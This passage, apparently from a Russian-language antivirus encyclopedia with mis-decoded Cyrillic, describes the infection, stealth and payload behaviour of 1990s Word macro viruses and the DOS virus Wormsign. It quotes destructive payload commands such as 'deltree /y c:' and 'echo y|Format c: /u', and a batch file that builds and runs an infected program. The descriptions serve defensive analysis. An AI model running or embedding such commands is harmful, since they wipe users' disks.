òåëî. Ò.î., êîïèè âèðóñà áóäóò ñîäåðæàòü óæå äâà ìàêðîñà ñ èäåíòè÷íûì
ñîäåðæàíèåì. 2, 11, 12 è 17 ÷èñëà êàæäîãî ìåñÿöà ñðàçó ïîñëå çàðàæåíèÿ
Normal.Dot ìîæåò ïåðåíåñòè èç íåãî â ñâîå òåëî ìàêðîñ AutoOpen è
ñîõðàíèòü òåêóùèé ôàéë.
WM.Appder (1,2)
Î÷åíü îïàñíûå ìàêðî - âèðóñû. Ïîñëå 20 çàðàæåíèé óäàëÿþò ôàéëû
C:\DOC\*.EXE, C:\DOC\*.COM, C:\WINDOWS\*.EXE, C:\WINDOWS\SYSTEM\*.TTF,
C:\WINDOWS\SYSTEM\*.FOT.
WM.Bandung
Î÷åíü îïàñíûé ìàêðî-ñòåëñ-âèðóñ. Áëîêèðóåò ïóíêòû ìåíþ ðàáîòû ñ
ìàêðîñàìè. Ñ 20 ÷èñëà êàæäîãî ìåñÿöà ñ 11:00 íà äèñêå C: óäàëÿåò ôàéëû
âî âñåõ êàòàëîãàõ (êðîìå WINDOWS,WINWORD è WINWORD6) äî òðåòüåãî óðîâíÿ
âëîæåííîñòè. Âî âðåìÿ ýòîãî àêòà âèðóñ âûâîäèò òåêñò â ñòðîêå ñòàòóñà
"Reading menu...Please wait !".Ïîñëå ÷åãî ñîçäàåò ôàéë C:\PESAN.TXT, â
êîòîðûé çàïèñûâàåò òåêñò:
Anda rupanya sedang sial, semua file di mesin ini kecuali yang berada di
direktori WINDOWS dan WINWORD telah hilang, jangan kaget, ini bukan ulah
Anda, tapi ini hasil pekerjaan saya...Barang siapa yang berhasil menemukan
cara menangkal virus ini, saya akan memberi listing virus ini untuk Anda
!!! Dan tentu saja saya akan terus datang kesini untuk memberi Anda salam
dengan virus-virus terbaru dari saya...selamat ! Bandung,
WM.Boom
 òåëå âèðóñà ñîäåðæàòñÿ ìàêðîñû AutoExec, DateiSpeichernUnter
("FileSaveAs") è System. Çàðàæåíèå NORMAL.DOT ïðîèñõîäèò ïðè âûçîâå
FileSaveAs. Ìàêðî AutoOpen óñòàíàâëèâàåò ïðîöåäóðó îáðàáîòêè òàéìåðà,
êîòîðàÿ â ñâîþ î÷åðåäü, â 13:13:13 âûïîëíÿåò ìàêðîêîìàíäó System.
System èçìåíÿåò ñòðîêó îñíîâíîãî ìåíþ, ïðåäïîëàãàÿ, ÷òî îíà íàïèñàíà
íà íåìåöêîì ÿçûêå. Â ðåçóëüòàòå èìåíà ïóíêòîâ îáðàçóþò ñòðîêó:
Mr. Boombastic and Sir WIXALOT are watching you ! ! !
Ò.î., "Datei" ("File") çàìåíÿåòñÿ íà "Mr. Boombastic", "Bearbeiten"
("Edit") íà "and", à "?" - íà ïîñëåäíèé "!". Çàìåíà êàæäîãî ïóíêòà ìåíþ
ñîïðîâîæäàåòñÿ íåáîëüøîé çàäåðæêîé è ñèñòåìíûì ãóäêîì Windows. Ïîñëå
ýòîãî âèðóñ âûâîäèò ôðàçó:
Mr. Boombastic and Sir WIXALOT : Don`t Panik, all things are
removeable !!! Thanks VIRUSEX !!!
ñîçäàåò íîâûé ôàéë, çàïèñûâàåò â íåãî ðàçíûìè øðèôòàìè è ñ îòñòóïàìè
ñëåäóþùèé òåêñò:
Greetings from Mr. Boombastic and Sir WIXALOT !!!
Oskar L., wir kriegen dich !!!
Dies ist eine Initiative des Institutes zur Vermeidung und
Verbreitung von Peinlichkeiten, durch in der Öffentlichkeit
stehende Personen, unter der Schirmherrschaft von Rudi S. !
è âûâîäèò ýòîò ôàéë íà ïðèíòåð. Ïîñëå ýòîãî óñòàíîâêè è âèä ìåíþ
ñáðàñûâàþòñÿ â ñîñòîÿíèå ïî óìîë÷àíèþ.  òåëå ìàêðîñà System ñîäåðæèòñÿ
ðÿä çàêîììåíòèðîâàííûõ êîìàíä, êîòîðûå íà âðåìÿ âèðóñíûõ ýôôåêòîâ
ïåðåèìåíîâûâàåò C:\AUTOEXEC.BAT â C:\BOOMBAS.TIC, C:\CONFIG.SYS â
C:\SIR_WIXA.LOT è C:\COMMAND.COM â C:\FANTAS.TIC, à ïåðåä âûâîäîì íà
ïðèíòåð âîçâðàùàþò ôàéëàì ïåðâîíà÷àëüíûå èìåíà. Ýòîò êîä íèêîãäà íå
âûïîëíÿåòñÿ.
WM.Buero
Íàïèñàí äëÿ íåìåöêîÿçû÷íîé âåðñèè Word for Windows, ñîäåðæèò ìàêðîñû
B¹roNeu è DateiSpeichern. Ïðè çàðàæåíèè ôàéëîâ ïåðåíîñèò ñâîè ìàêðîñû â
ôàéë, çàïèñûâàÿ èõ ïîä äðóãèìè èìåíàìè, êîìáèíèðóÿ "B¹roNeu",
"DateiSpeichern" è "AutoOpen". Åñëè òåêóùàÿ äàòà áîëüøå 15.08.1996,
ïåðåèìåíîâûâàåò C:\IO.SYS â C:\IIO.SYS è óíè÷òîæàåò âñå ôàéëû ñ
ðàñøèðåíèåì *.doc.
WM.Cap
Çàøèôðîâàííûé ñòåëñ-âèðóñ. Áëîêèðóåò ïóíêòû ìåíþ ðàáîòû ñ ìàêðîñàìè è
óäàëÿåò ññûëêè íà ýòè ìåíþ. Çàïðåùàåò âûïîëíåíèå ìàêðîñà AutoOpen ïðè
îòêðûòèè äîêóìåíòîâ. Ïðè ïîïûòêå ñîõðàíåíèÿ èíôèöèðîâàííîãî äîêóìåíòà ñ
ïîìîùüþ êîìàíäû FileSaveAs âèðóñ çàïèñûâàåò íà äèñê àáñîëþòíî ïóñòîé
äîêóìåíò. Âèðóñ ñîäåðæèò òåêñò:
C.A.P: Un virus social.. y ahora digital..
"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
Venezuela, Maracay, Dic 1996.
P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
WM.Chaos
Ñîäåðæèò òåêñò:
*********************************
* -x UlTiMaTe x- *
* CCCCC H H AAAAA OOOOO SSSSS *
* C H H A A O O S *
* C HHHHH AAAAA O O SSSSS *
* C H H A A O O S *
* CCCCC H H A A OOOOO SSSSS *
* -x v2.3 - 1st June, 1996 x- *
*********************************
WM.Concept (1-4, 7-9)
Ïðè ïåðâîì ïðîñìîòðå èëè ðåäàêòèðîâàíèè èíôèöèðîâàííîãî äîêóìåíòà
ïîÿâëÿåòñÿ MessageBox ñ öèôðîé 1 âíóòðè. Âèðóñ ñîäåðæèò ìàêðîñû,
èìåþùèå èìåíà AutoOpen, AAAZAO, AAAZFS, FileSaveAs, PayLoad. Çàðàæåííûé
ôàéë-äîêóìåíò ñîäåðæèò òåêñòû:
see if we're already installed
WW6Infector
iWW6IInstance
AAAZFS
AAAZAO
That's enough to prove my point
 çàðàæåííîé ñèñòåìå â ôàéëå WINWORD6.INI èìååòñÿ ñòðîêà "WW6I= 1".
WM.Concept (5)
Âàðèàöèÿ íà òåìó WordMacro.Concept (1). Ñîäåðæèò ìàêðîñû AutoOpen,
EditSize (îáà - èíñòàëëÿöèÿ âèðóñà), HaHa (ïðèçíàê çàðàæåííîñòè ôàéëà)
è FileSort. Ïðè çàïóñêå FileSort âèðóñ ñòèðàåò åãî ñîäåðæèìîå, âûâîäèò
áîëüøèìè áóêâàìè òåêñò:
i said:
say goodbye to all your stuff
(look at that hard drive spin!)
çàðàæàåò ôàéë è 100 ðàç ïîäðÿä âûïîëíÿåò êîìàíäó FileSave. Óòðà÷åííûé
òåêñò âîññòàíîâèòü íåâîçìîæíî.
WM.Concept (6)
Ñîäåðæèò ìàêðîñû AutoOpen, Boom, F1 è F2. Ìàêðîêîìàíäà Boom èç òåëà
âèðóñà íå âûçûâàåòñÿ è ìîæåò áûòü âûïîëíåíà òîëüêî â òîì ñëó÷àå, êîãäà
ïîëüçîâàòåëü ñàì ýòîãî çàõî÷åò. Òîãäà áóäåò âûâåäåí MeassageBox ñ
çàãîëîâêîì "AFA" è òåêñòîì "Fight Racism; Smash Fascism".
WM.Daddy
 òåëå âèðóñà ñîäåðæàòñÿ ìàêðîñû Gangsterz è Paradise, êîòîpûå ïîëó÷àþò
óïpàâëåíèå òîëüêî â òîì ñëó÷àå, åñëè ïîëüçîâàòåëü ñàì çàïóñòèò èõ íà
âûïîëíåíèå. Îáà ìàêpîñà ïåpåõâàòûâàþò ñîîáùåíèÿ, ïîñòóïàþùèå îò
êëàâèàòópû (óñòàíàâëèâàþò êëàâèàòópíûå ìàêpîñû) è èíôèöèpóþò
NORMAL.DOT. Ïîñëå ýòîãî ïpè êàæäîì íàæàòèè íà ïpîáåë áóäåò çàïóñêàòüñÿ
Gangsterz, íà êëàâèøó 'E' - Paradise. Ïpè çàïóñêå ìàêpîñà Gangsterz
âèpóñ ñîçäàåò ôàéë XOP.BAT, çàpàæàåò åãî âèpóñîì BAT.Xop.367, åñëè â
ñåêöèè "Intl" ôàéëà WIN.INI íå ïpèñóòñòâóåò ñòpîêà "XOP=Installed" è
çàïèñûâàåò â WIN.INI ýòó ñòpîêó. Ïîñëå ýòîãî âñòàâëÿåò â AUTOEXEC.BAT
ñòpîêè
@echo off
Drive:\Path\XOP.BAT
ãäå Drive:\Path - ïîëíûé ïóòü ê ôàëó XOP.BAT. Ìàêpîñ Paradise ïpîâåpÿåò
òåêóùóþ äàòó è 15 ÿíâàpÿ óíè÷òîæàåò NORMAL.DOT, çàïèñûâàÿ â íåãî ñòpîêó
"Big_Daddy_Cool Virus generated by NJ" è â "âå÷íîì öèêëå" âñòàâëÿåò â
íåãî áóêâó "O", ïpåäâàpèòåëüíî çàïpåòèâ påàêöèþ íà íàæàòèå êëàâèø.
WM.Daniel (1,2)
Ìàêðî-ñòåëñ âèðóñ. Ïåðåîïðåäåëÿåò ìåíþ File|Save è íàæàòèå íà êëàâèøè
Ctrl-S, Ctrl-B íà ñâîé ìàêðîñ. Äàííûé ìàêðîñ çàðàæàåò òåêóùèé äîêóìåíò,
äîáàâëÿÿ â åãî FileSummaryInfo ïîëÿ: Keywords = "Daniel_Stone",
Comments = "All information should be free." Âèðóñ óäàëÿåò ïóíêòû ìåíþ
ðàáîòû ñ ìàêðîñàìè è, òàêèì îáðàçîì, ïðÿ÷åò íàëè÷èå ñâîèõ ìàêðîñîâ â
ñèñòåìå. Ñîäåðæèò òåêñòû:
REM This is the Word_Macro_Virus_Daniel_1D - Have a nice Day!
REM Please Suport the Virus Concept.
WM.Demon
 äîêóìåíòàõ ñîäåðæèò ìàêðîñ AutoOpen è 2 ìàêðîñà ñî ñëó÷àéíûìè
èìåíàìè, â NORMAL.DOT - AutoClose è òàêæå 2 ìàêðîñà ñî ñëó÷àéíûìè
èìåíàìè. Èìåíà æå ýòè õðàíèò â ïåðåìåííûõ äîêóìåíòà èëè â ôàéëå
WIN.INI. Ñ ìàÿ äî ÿíâàðÿ óäàëÿåò ñåáÿ èç äîêóìåíòîâ è øàáëîíîâ. Åñëè
â äîêóìåíòå èìååòñÿ âûäåëåííûé òåêñò "Dark Master calling", òî âèðóñ
âûâîäèò îêíî ñ ñîîáùåíèåì:
Microsoft WinWord DEMON
WINWORD HIDDEN DEMON
is happy to see his MASTER!!!
GREAT DAY !!!
This file is infected as #
WM.GoldFish
Ñîäåðæèò ïðàêòè÷åñêè ñîâïàäàþùèå ìàêðîñû AutoOpen è AutoClose. Ïðè
çàðàæåíèè ïðîèçâîäèò ïðîâåðêó íàëè÷èÿ â ôàéëå ìàêðîñîâ ñ òàêèìè èìåíàìè
è àòðèáóòîì "ExecOnly". Åñëè â äîêóìåíòå íàõîäèòñÿ ìàêðîñ,èìåþùèé òàêèå
àòðèáóòû è èìÿ, ñîâïàäàþùåå ñ AutoOpen èëè AutoClose, ñîîòâåòñòâóþùèé
âèðóñíûé ìàêðîñ â äîêóìåíò íå ïåðåíîñèòñÿ. Åñëè òåêóùèé ãîä - 1996 èëè
áîëüøå, êàæäûé èç âèðóñíûõ ìàêðîñîâ ñ âåðîÿòíîñòüþ 1/500 âûâîäèò
äèàëîãîâîå îêíî ñ çàãîëîâêîì "GoldFish" è òåêñòîì "I am the GoldFish,
I am hungry, feed me." è æäåò ââîäà îäíîãî èç ñëîâ "fishfood", "worms",
"worm", "pryme" èëè "core".
WM.Irish
Ñîäåðæèò ìàêðîñû AutoOpen (çàðàæåíèå NORMAL.DOT), WordHelp, WordHelpNT
(îáà - âèçóàëüíûå ýôôåêòû) è AntiVirus, êîòîðûé ïðè çàïóñêå èç
NORMAL.DOT çàðàæàåò îòêðûòûé ôàéë è âûäàåò ñèñòåìíûé ãóäîê Windows.
WordHelp è WordHelpNT ïðè àêòèâèçàöèè èçìåíÿþò è ñîõðàíÿþò öâåòîâûå è
íåêîòîðûå äðóãèå íàñòðîéêè äèñïëåÿ.
WM.MadDog
Ñîäåðæèò ìàêðîñû AutoOpen, AutoExec, AutoClose, FileClose, AOpnFinish è
FCFinish. Âñå ìàêðîñû, êðîìå AutoClose, â êà÷åñòâå "øàïêè" ñîäåðæàò
ñòðîêè:
--------------------------------------------------------
Microsoft Word for Windows 95 "MadDog" Macro Set
v 1.0, March l996
--------------------------------------------------------
(c) Copyright Microsoft Corporation, 1995
Çàðàæàåò ôàéëû äîâîëüíî çàïóòàííûì ñïîñîáîì, ïîõîæèì íà óïðàæíåíèÿ
â ñòðóêòóðíîì ïðîãðàììèðîâàíèè íà WordBasic. Ïðè ýòîì èñïîëüçóþòñÿ
âðåìåííûå ôàéëû ñ èìåíàìè "Temp.Dot" è "FileName.Dat" è âûçîâû âèðóñíûõ
ìàêðîñîâ, êàê ïîäïðîãðàìì. Ïîñêîëüêó âðåìåííûå ôàéëû ñîçäàþòñÿ,
çàïèñûâàþòñÿ è ñîõðàíÿþòñÿ ñðåäñòâàìè WordBasic, äëÿ ìàñêèðîâêè ôàêòà
ðàáîòû ñ íèìè âèðóñ ñáðàñûâàåò ñïèñîê MRU (Most Recently Used files -
íàèáîëåå ÷àñòî èñïîëüçóåìûõ ôàéëîâ) â ìåíþ Files.Ïåðåä çàêðûòèåì ôàéëîâ
â ïåðèîä ñ 20.00 äî 20.59 âèðóñ "óáèâàåò" òåêñò, ìåíÿÿ âñå áóêâû "e"
("E") íà "a" è ñîõðàíÿåò ôàéë. Ïðè çàðàæåíèè ôàéëîâ íèêàêèõ ïðîâåðîê íå
ïðîèçâîäèòñÿ.
WM.MDMA
Âèðóñ èíñòàëëèðóåòñÿ ïðè çàêðûòèè ôàéëà (âûçîâ AutoClose). Â Normal.Dot
ïåðåíîñèòñÿ ìàêðîñ AutoClose.Åñëè òàêîé ìàêðîñ ñîäåðæèòñÿ â Normal.Dot,
òî âèðóñ ñ÷èòàåò, ÷òî ñèñòåìà óæå çàðàæåíà. 1 ÷èñëà êàæäîãî ìåñÿöà
îïðåäåëÿåò ïëàòôîðìó, ïîä êîòîðîé ðàáîòàåò, è â çàâèñèìîñòè îò íåå
ïðåäïðèíèìàåò ðàçëè÷íûå äåéñòâèÿ:
Windows95 : óäàëÿåò ôàéë C:\SHMK, ôàéëû C:\WINDOWS\*.HLP è
C:\WINDOWS\SYSTEM\*.CPL è ìåíÿåò íåêîòîðûå íàñòðîéêè,
çàäàâàåìûå ãðóïïàìè Control Panel è Network.
Windows NT: óäàëÿåò ôàéë C:\SHMK è âñå ôàéëû òåêóùåãî êàòàëîãà.
Windows : óäàëÿåò ôàéë C:\SHMK è çàïèñûâàåò â AUTOEXEC.BAT ñëåäóþùèå
ñòðîêè:
@echo off
deltree /y c: ; (óäàëåíèå äåðåâà êàòàëîãîâ íà C: áåç
; ïîäòâåðæäåíèÿ)
@echo You have just been phucked over by a virus
Macintosh : óíè÷òîæàåò MacID$("****") ???
Íåçàâèñèìî îò ïðåäïðèíÿòûõ äåéñòâèé ïðè çàêðûòèè èíôèöèðîâàííîãî ôàéëà
áóäåò âûâåäåí MessageBox ñ òåêñòîì "You are infected with MDMA_DMV.
Brought to you by MDMA (Many Delinquent Modern Anarchists)." , èìåþùèé
çàãîëîâîê "MDMA_DMV".
WM.NJ.based
Âèðóñû, ñîçäàííûå ñ ïîìîùüþ NJ-WMVCK v1.1 (Nightmare Jokerÿs Word Macro
Virus Construction Kit) - íåìåöêîÿçû÷íûì ãåíåðàòîðîì MACRO-âèðóñîâ. Ïðè
îòêðûòèè çàïðàøèâàåò èìÿ ôàéëà, â êîòîðûé áóäåò çàïèñàí ñîçäàâàåìûé
âèðóñ è ÿçûê äëÿ äèàëîãîâ (íåìåöêèé èëè àíãëèéñêèé, âûáîð ïîñëåäíåãî
âëå÷åò çà ñîáîé ñîîáùåíèå î òîì, ÷òî ýòà âîçìîæíîñòü åùå íå
ðåàëèçîâàíà). Ïîñëå âûäà÷è íåñêîëüêèõ èíôîðìàöèîííûõ ñîîáùåíèé
ïðîäîëæàåò äèàëîã è ïðîñèò ââåñòè òåêñòîâóþ ñòðîêó è èìÿ ìàêðîñà,
êîòîðûé áóäåò ñëóæèòü ïðèçíàêîì çàðàæåííîñòè. Â ýòîò ìàêðîñ áóäåò
çàïèñàí êîä, çàðàæàþùèé DOS îäíèì èç 10 ôàéëîâûõ âèðóñîâ. Ñïèñîê DOS-
âèðóñîâ ñîäåðæèò íåñêîëüêî òâîðåíèé, ñîçäàííûõ ñ ïîìîùüþ èçâåñòíûõ
ïðîãðàìì-êîíñòðóêòîðîâ âèðóñîâ (VirusConstructor.based),ãåíåðàòîðîâ MTE
è SMEG, âèðóñû Casino.2330, Tequila, Neurobasher.Tremor è Win95.Boza.
Èìÿ âèðóñà çàïðàøèâàåòñÿ äîïîëíèòåëüíî. Ïîñëå ýòîãî â óêàçàííûé ôàéë
çàïèñûâàåòñÿ òåêñò "A New Life! Nightmare Joker!", ôîðìèðóåòñÿ è
ïåðåíîñèòñÿ òåêñò MACRO-âèðóñà è îáà ôàéëà (òîëüêî ÷òî ñîçäàííûé è ôàéë
-êîíñòðóêòîð) çàêðûâàþòñÿ. Ãåíåðàòîð ñîäåðæèò ðÿä íåòî÷íîñòåé è
ïîãðåøíîñòåé, â ðåçóëüòàòå êîòîðûõ íà ëþáîì ýòàïå ðàáîòà ìîæåò áûòü
ïðåðâàíà ñîîáùåíèÿìè îá îøèáêàõ Word Basic'à. Òàê, íàïðèìåð, äëÿ ââîäà
îäíîé ñòðîêè âûâîäèòñÿ ìíîãîñòðî÷íûé InputBox, èìÿ ñîçäàâàåìîãî ôàéëà
âñåãäà äîïîëíÿåòñÿ ñòðîêîé "C:\" è ò.ä.
WM.Orhey
Hàáîpû ìàêpîñîâ ýòîãî âèpóñà pàçëè÷àþòñÿ â ãëîáàëüíûõ øàáëîíàõ è
çàpàæàåìûõ äîêóìåíòàõ. Ïåpâîíà÷àëüíàÿ êîïèÿ ñîäåpæèò ìàêpîñû AtExc,
FlOpvvv, FISvv, AutoOpen, FileExit, TlsMcr è FlSvvs (íàáîp 1). Ïpè
îòêpûòèè çàpàæåííîãî ôàéëà ïîëó÷àåò óïpàâëåíèå ìàêpîñ AutoOpen. Îí
ïpîèçâîäèò ïpîâåpêó çàpàæåííîñòè ãëàâíîãî øàáëîíà, è, åñëè â íåì íå
ñîäåpæèòñÿ ìàêpîñà ñ èìåíåì ImpRovevvvv5, ïåpåíîñèò â íåãî ñâîå òåëî,
èçìåíÿÿ èìåíà ìàêpîñîâ (íàáîp 2):
AutoOpen -> ImpRovevvvv5
AtExc -> AutoExec
FlOpvvv -> FileOpen
FlSvvs -> FileSaveAs
FlSvv -> FileSave
TlsMcr -> ToolsMacro
FileExit -> FClccc
Ìàêpî AutoExec ñîäåpæèò äåñòpóêòèâíûé ýôôåêò,êîòîpûé äîëæåí ñpàáàòûâàòü
22 ìàÿ 1998 ãîäà. Ïpåäïîëàãàåòñÿ âûâîä Message Box ñ çàãîëîâêîì
"GreenPeace Virus" è òåêñòîì:
Belik Natasha demands:
Stop pollution of an environment!!!!!
Protect ozonian layer!!!
Rescue Volga!!!
Pay the salary!!!!!
Ïîñëå ýòîãî áóäóò óíè÷òîæåíû ôàéëû ïî ìàñêå "*.HLP" è ïîäàíà êîìàíäà
ExitWindows. Ïpè pàáîòå ñ äîêóìåíòîì â èíôèöèpîâàííîé ñèñòåìå
ïpîèñõîäèò ñòàíäàpòíîå åãî çàpàæåíèå ïpè âûçîâå ìàêpîñà FileSaveAs, ïpè
ýòîì âèpóñ êîïèpóåò ìàêpîñû èç øàáëîíà â äîêóìåíò, èçìåíÿÿ èõ èìåíà íà
èìåíà èç íàáîpà 1. Ìàêpîñ FileOpen ïpîâåpÿåò ïîëå Author ïîòîêà Summary
Info îòêpûâàåìîãî äîêóìåíòà. Åñëè èìÿ àâòîpà Igor Daniloff, âèpóñ èùåò
â äîêóìåíòå ìàêpîñû AutoOpen è iDrWebScan, êîòîpûå ñîäåpæàòñÿ â âàêöèíå
Dr.Web for WinWord âåpñèè 1.0. Ïpè íàõîæäåíèè AutoOpen âèpóñ
ïåpåçàïèñûâàåò åãî ñîäåpæèìîå è âñòàâëÿåò êîä, êîòîpûé ïpè çàïóñêå
ìàêpîñà äîëæåí âûâåñòè Message Box ñ çàãîëîâêîì "DrWeb for WinWord" è
òåêñòîì:
" In the WinWord6.0/7.0rus environment "
" the viruses are not distributed "
(÷òî äåéñòâèòåëüíîñòè, êîíå÷íî, íå ñîîòâåòñòâóåò. Âîçìîæíî, àâòîpó
âèpóñà íå ïîípàâèëîñü, ÷òî ýòà âàêöèíà íå áûëà pàññ÷èòàíà íà pàáîòó â
póñêîÿçû÷íûõ âåpñèÿõ påäàêòîpà? Ñàì âèpóñ pàáîòîñïîñîáåí â ëþáîé
ëîêàëèçîâàííîé âåpñèè Word for Windows). Ïpè íàõîæäåíèè ìàêpîñà
iDrWebScan âèpóñ ñòèpàåò åãî ñîäåpæèìîå è çàïèñûâàåò â ìàêpîñ
"ïóñòûøêó", ñîñòîÿùóþ èç ïóñòîé ñòpîêè ñ êîììåíòàpèåì. Âèpóñ
äåìîíñòpèpóåò îïèñàííûé Message Box, ïpè ýòîì â ôàéë WINWORD6.INI èëè
àíàëîãè÷íûé çàïèñûâàåòñÿ ñòpîêà "keyrus = TEXT", ãäå TEXT - ñòpîêà,
ñîäåpæàùàÿ âpåìÿ ïîñëåäíåãî ñîõpàíåíèÿ äîêóìåíòà. Âèä ýòîé ñòpîêè ìîæåò
ìåíÿòüñÿ â çàâèñèìîñòè îò ñèñòåìíûõ íàñòpîåê. Ìàêpîñ ToolsMacro
ïîäìåíÿåò ñîáîé ñòàíäàpòíóþ ïpîöåäópó ìåíþ Tools|Macro (åñëè íå îäèí
äîêóìåíò íå îòêpûò - File|Macro). Ïpè âûçîâå ýòîãî ìàêpîñà âèpóñ
ïûòàåòñÿ "âûæèòü" êàê â ãëàâíîì øàáëîíå, òàê è â îòêpûòîì äîêóìåíòå,
åñëè äîêóìåíò çàpàæåí. Äëÿ ýòîãî îí ïåpåèìåíîâûâàåò ìàêpîñû,
óñòàíàâëèâàåò ó øàáëîíà è äîêóìåíòà ïàpîëüíóþ çàùèòó îò påäàêòèpîâàíèÿ,
èñïîëüçóÿ ïàpîëü "orhey", ïîñëå ÷åãî îòêpûâàåò ñòàíäàpòíîå îêíî Tools
\Macro. Çàùèòà ìàêpîñîâ ïpèâîäèò ê òîìó, ÷òî èõ íåëüçÿ íå òîëüêî
ïpîñìîòpåòü èëè påäàêòèpîâàòü, íî è óäàëèòü èëè ïåpåèìåíîâàòü ìàêpîñû,
ïîëüçóÿñü ñpåäñòâàìè Word for Windows ñòàíîâèòñÿ íåâîçìîæíî -
äîñòóïíûìè îñòàþòñÿ òîëüêî êíîïêè "Run" è "Close". Ïîñëå çàêpûòèÿ îêíà
Tools\Macro âèpóñ âîçâpàùàåò ìàêpîñàì ñòàpûå èìåíà è ñíèìàåò ñ
äîêóìåíòîâ ïàpîëè.
WM.Pcw
Ñóäÿ ïî âñåìó, ýòîò âèðóñ - ïîäàðîê êî äíþ ðîæäåíèÿ. Íàïèñàí äëÿ
íåìåöêîÿçû÷íîé âåðñèè Word for Windows. Ñîäåðæèò ìàêðîñû AutoOpen
(ïðîâåðêà óñëîâèé àêòèâàöèè è èíñòàëëÿöèÿ) è DateiSpeichernUnter
(FileSaveAs, çàðàæåíèå), çàðàæàåò NORMAL.DOT. Åñëè òåêóùàÿ äàòà áîëüøå,
÷åì 14 è ìåñÿö áîëüøå èþíÿ, AutoOpen âûâîäèò MessageBox ñ òåêñòîì:
Herzlichen Gl¹ckwunsch
Susanne B. aus E.
zu deinem Geburtstag
Ich liebe dich
Happy Birthday
WM.Satanic
Âèðóñ íàïèñàí äëÿ íåìåöêîÿçû÷íîé âåðñèè Word for Windows, îäíàêî
áîëüøèíñòâî åãî ôóíêöèé ðàáîòîñïîñîáíû â ëþáîé âåðñèè ðåäàêòîðà. Îí
ñîäåðæèò ìàêðîñû AutoOpen, AutoClose, AutoExit, AutoNew è AutoExec.
Çàðàæåíèå ñèñòåìû ïðîèñõîäèò ïðè âûçîâå AutoExec è AutoOpen. Ïðèçíàêîì
çàðàæåííîñòè ôàéëà ñëóæèò íàëè÷èå â íåì ìàêðîñà AutoExit. Çàðàæåíèå
ôàéëîâ ïðîèñõîäèò ïðè èñïîëíåíèè AutoClose, AutoExec, AutoExit è
AutoNew. Åñëè AutoClose ïðîñòî ïðîâåðÿåò íàëè÷èå â ôàéëå AutoExit è
çàðàæàåò, åñëè ìàêðîñ íå íàéäåí, òî 3 îñòàëüíûõ êðîìå ýòîãî ñîäåðæàò
ðàçëè÷íûå ýôôåêòû. AutoExit 1 îêòÿáðÿ çàïóñêàåò êîìàíäíûé ïðîöåññîð,
ïåðåäàâàÿ åìó ñòðîêó "echo y|Format c: /u". AutoNew âûâîäèò 9 ñåíòÿáðÿ
MessageBox ñ çàãîëîâêîì "Nightmare Joker :-)" è òåêñòîì "Youÿre
infected with Satanic". AutoExec óäàëÿåò èç ìåíþ "Extras" ïóíêòû
"Makro...", "Anpassen..." è "Optionen...". Ñàìûì ëþáîïûòíûì ÿâëÿåòñÿ
ìàêðî AutoOpen. Åñëè ñèñòåìà íå çàðàæåíà, âèðóñ ïðîâåðÿåò íàëè÷èå ôàéëà
C:\DOS\DEBUG.EXE è, åñëè îí íàéäåí, ñîçäàåò ôàéë C:\Fun.scr. Â íåãî
çàïèñûâàåòñÿ èíôîðìàöèÿ, êîòîðàÿ çàòåì ïåðåäàåòñÿ ïðîãðàììå DEBUG.EXE.
 ðåçóëüòàòå áóäåò ñîçäàí ôàéë C:\NC.COM, çàðàæåííûé DOS-âèðóñîì
Claudia.8777. Ïîñëå ýòîãî ñîçäàåòñÿ ôàéë C:\Fun.bat è â íåãî
çàïèñûâàþòñÿ ñëåäóþùèå êîìàíäû:
@echo off
debug < Fun.scr > nul
@echo off
nc.com
@echo off
del Fun.scr
Ïîñëå çàïóñêà C:\Fun.bat MACRO-÷àñòü âèðóñà èíôèöèðóåò NORMAL.DOT èëè
ôàéë, åãî çàìåíÿþùèé. Â çàðàæåííîé ñèñòåìå â ôàéëå WIN.INI â ñåêöèè
[Control] ïðèñóòñòâóåò ñòðîêà "Installed=YES".
WM.ShareFun
Îïàñíûé çàøèôðîâàííûé ìàêðî-ñòåëñ-âèðóñ.Âèðóñ ñîäåðæèò ìàêðîñ AutoOpen,
êîòîðûé ïðè îòêðûòèè èíôèöèðîâàííîãî äîêóìåíòà ñ âåðîÿòíîñòüþ 1/4
âûçûâàåò ìàêðîñ ShareTheFun. Äàííûé ìàêðîñ ñîõðàíÿåò òåêóùèé
èíôèöèðîâàííûé äîêóìåíò ïîä èìåíåì C:\DOC1.DOC, ñêàíèðóåò Microsoft
Mail (åñëè äàííàÿ ñèñòåìà óñòàíîâëåíà, åæåëè íåò - òî âèðóñ
"ïåðåçàãðóæàåò" MS-Windows), âûáèðàåò èç íåå 3 ñëó÷àéíûõ àäðåñà è
ïîñûëàåò ïî ýòèì àäðåñàì çàðàæåííûé äîêóìåíò C:\DOC1.DOC. Äàííûå ïèñüìà
ñîäåðæàò çàãîëîâîê "You have GOT to read this!". Âèðóñ áëîêèðóåò ïóíêòû
ìåíþ ðàáîòû ñ ìàêðîñàìè (ñòåëñ-ïðîöåäóðà).
WM.Tedious
Ñîäåðæèò ìàêðîñû AutoNew, vAutoNew, FileSaveAs, vFileSaveAs, ïî÷òè íà
100% ñîâïàäàþùèå ïî ñîäåðæàíèþ. Çàðàæåíèå ôàéëîâ ïðîèñõîäèò ïðè âûçîâå
ëþáîãî èç íèõ áåç êàêèõ áû òî íè áûëî ïðîâåðîê. Ìàêðîñû vAutoNew è
vFileSaveAs íèêîãäà íå çàïóñêàþòñÿ àâòîìàòè÷åñêè è íå ïîëó÷àþò
óïðàâëåíèÿ èç òåëà âèðóñà. Íèêàê íå ïðîÿâëÿåòñÿ.
WM.Zero
Ðàáîòîñïîñîáåí òîëüêî â íåìåöêîé âåðñèè WinWord. Â èþíå âûâîäèò îêíî
ñîîáùåíèé ñ òåêñòîì: "Lisa, ich liebe dich!".
Wormsign.1547, 1710
Îïàñíûå íåðåçèäåíòíûå çàøèôðîâàííûå âèðóñû. Ïåðåä çàðàæåíèåì ôàéëîâ
âûâîäÿò íà ýêðàí ñòðîêó "Wormsign !". Ïðè çàðàæåíèè ïåðåõâàòûâàþò INT
9, 21h. Îñòàâëÿþò â ïàìÿòè íåáîëüøóþ ðåçèäåíòíóþ ïðîãðàììó â îáëàñòè
âòîðîé ïîëîâèíû âåêòîðîâ ïðåðûâàíèé (0020:0000), êîòîðàÿ îáðàáàòûâàåò
âûçîâû INT 13h, 1Ch, 26h. Ïðèìåðíî ÷åðåç 15 ìèíóò âûâîäèò â öåíòðå
ýêðàíà òåêñò:
W o r m s i g n !
